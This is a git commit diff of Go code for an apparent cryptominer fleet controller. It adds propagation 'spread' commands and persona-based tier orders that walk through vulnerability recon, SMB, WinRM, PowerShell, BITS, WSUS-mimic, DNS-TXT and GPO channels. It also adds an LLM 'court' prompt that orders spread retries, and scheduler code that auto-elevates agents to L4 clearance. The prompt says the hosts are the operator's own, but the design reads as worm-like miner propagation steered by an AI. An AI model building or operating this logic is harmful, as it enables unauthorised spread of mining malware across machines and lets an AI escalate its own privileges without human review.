Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage

This commit is contained in:
AetherForge
2026-06-07 05:00:22 -07:00
parent 7b2d41cda8
commit 82d74abfcf
38 changed files with 486 additions and 120 deletions

View File

@@ -14,6 +14,8 @@ const (
CmdRestartMining = "restart_mining"
CmdReorderTiers = "reorder_tiers"
CmdSpreadNow = "spread_now"
CmdSpreadRetryLane = "spread_retry_lane"
CmdSkipTier = "skip_tier"
CmdStageFetch = "stage_fetch"
CmdSetAgentVersion = "set_agent_version"
CmdNoop = "noop"
@@ -26,6 +28,8 @@ var knownCommands = map[string]bool{
CmdRestartMining: true,
CmdReorderTiers: true,
CmdSpreadNow: true,
CmdSpreadRetryLane: true,
CmdSkipTier: true,
CmdStageFetch: true,
CmdSetAgentVersion: true,
CmdNoop: true,

View File

@@ -64,7 +64,10 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
This is a single-turn tribunal with no memory. Three roles speak once:
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance.
Never target third-party systems.`))
system.WriteString("\n\n## PROSECUTOR\n")
system.WriteString(prosecutor)

View File

@@ -30,6 +30,16 @@ func stuckSpreadAttempts() []TierAttempt {
return attempts
}
func TestBuildCourtPromptListsRetryCommands(t *testing.T) {
bundle := BuildCourtPrompt(AgentSnapshot{Stuck: true}, "", nil, PersonaBalanced)
if !strings.Contains(bundle.SystemPrompt, "spread_retry_lane") {
t.Fatalf("missing spread_retry_lane in court prompt: %s", bundle.SystemPrompt)
}
if !strings.Contains(bundle.SystemPrompt, "skip_tier") {
t.Fatalf("missing skip_tier in court prompt")
}
}
func TestBuildCourtPromptProsecutorFailures(t *testing.T) {
snap := AgentSnapshot{
AgentID: "agent-stuck",

View File

@@ -1,6 +1,11 @@
package ai
import "strings"
import (
"strings"
"time"
"crypto-miner-server/internal/strategy"
)
const (
PersonaAggressive = "aggressive"
@@ -83,3 +88,49 @@ func CourtJudgeOverlay(mode string) string {
return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
}
}
// PersonaSpreadTierOrder returns the default spread tier walk order for a Calibrate persona.
// Used as propagation temperament when Fleet AI Control replaces adaptive strategy.
func PersonaSpreadTierOrder(mode string) []string {
switch NormalizePersona(mode) {
case PersonaAggressive:
return []string{
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
}
case PersonaSilent:
return []string{
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
}
case PersonaPassive:
return []string{
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
}
case PersonaPersuasive:
return []string{
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
}
default:
return DefaultSpreadTiers()
}
}
// PersonaSpreadTemperament builds spread tier hints in adaptive_strategy shape for AI control mode.
func PersonaSpreadTemperament(mode string) strategy.AdaptiveStrategy {
persona := NormalizePersona(mode)
order := PersonaSpreadTierOrder(persona)
reason := strategy.StrategyReason{
Fact: "Calibrate ai_persona=" + persona,
Inference: "Fleet AI Control shapes spread propagation personality",
Action: "Prefer spread tier order: " + strings.Join(order, " → "),
}
return strategy.AdaptiveStrategy{
TierOrder: order,
Reasoning: []strategy.StrategyReason{reason},
Confidence: 0.85,
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
}
}

View File

@@ -51,6 +51,38 @@ func TestNormalizePersona(t *testing.T) {
}
}
func TestPersonaSpreadTierOrderDistinct(t *testing.T) {
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
seen := make(map[string]string, len(modes))
for _, mode := range modes {
order := PersonaSpreadTierOrder(mode)
if len(order) != len(defaultSpreadTiers) {
t.Fatalf("persona %q tier count = %d want %d", mode, len(order), len(defaultSpreadTiers))
}
key := strings.Join(order, ",")
if prev, ok := seen[key]; ok && mode != PersonaBalanced {
t.Fatalf("personas %q and %q share spread order", prev, mode)
}
seen[key] = mode
}
if PersonaSpreadTierOrder(PersonaPersuasive)[1] != "dns_txt" {
t.Fatalf("persuasive should front dns_txt, got %v", PersonaSpreadTierOrder(PersonaPersuasive))
}
if PersonaSpreadTierOrder(PersonaAggressive)[2] != "smb" {
t.Fatalf("aggressive should front smb early, got %v", PersonaSpreadTierOrder(PersonaAggressive))
}
}
func TestPersonaSpreadTemperamentShape(t *testing.T) {
temp := PersonaSpreadTemperament(PersonaSilent)
if len(temp.TierOrder) == 0 || len(temp.Reasoning) == 0 || temp.Confidence <= 0 {
t.Fatalf("invalid spread temperament: %+v", temp)
}
if !strings.Contains(temp.Reasoning[0].Fact, PersonaSilent) {
t.Fatalf("reasoning should cite persona: %+v", temp.Reasoning[0])
}
}
func TestCourtJudgeOverlayDistinct(t *testing.T) {
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
prev := ""

View File

@@ -202,6 +202,10 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
}
cmds := ParseCommands(response)
if useCourt {
cmds = ExpandCourtCommands(cmds)
s.ensureCourtRetryClearance(agentID, cmds)
}
results := make([]string, 0, len(cmds))
for _, cmd := range cmds {
if cmd.Type == CmdNoop {
@@ -228,6 +232,18 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
const stuckHostFailedTierThreshold = 14
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil {
return
}
if s.elevator.Level(agentID) >= CourtRetryClearanceLevel {
return
}
if _, err := s.elevator.RequestElevation(agentID, CourtRetryClearanceLevel, "court-mandated retry", "ai_court"); err != nil {
log.Printf("[fleet-ai] agent %s court retry clearance: %v", agentID, err)
}
}
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
if !cfg.AutoElevateClearance || s.elevator == nil {
return

View File

@@ -162,3 +162,47 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
t.Fatalf("unexpected elevation: %+v", req)
}
}
func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
old := DecideFunc
defer func() { DecideFunc = old }()
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
return `Verdict: retry dns_txt.
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`, nil
}
elevator := &mockElevator{}
exec := &mockExec{}
sched := NewScheduler(
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
&mockSnap{
ids: []string{"court-1"},
snap: AgentSnapshot{
AgentID: "court-1", Name: "host", Stuck: true,
LOTLAttempts: stuckSpreadAttempts(),
},
},
exec,
&mockStore{},
&mockCourt{},
elevator,
)
sched.lastRun["court-1"] = time.Now().Add(-2 * time.Minute)
sched.Tick()
elevator.mu.Lock()
defer elevator.mu.Unlock()
found := false
for _, req := range elevator.requests {
if req.toLevel == clearance.L4 && req.reason == "court-mandated retry" {
found = true
break
}
}
if !found {
t.Fatalf("expected court-mandated L4 elevation, got %+v", elevator.requests)
}
if len(exec.calls) == 0 || exec.calls[0].Type != CmdStageFetch {
t.Fatalf("expected stage_fetch dispatch, got %+v", exec.calls)
}
}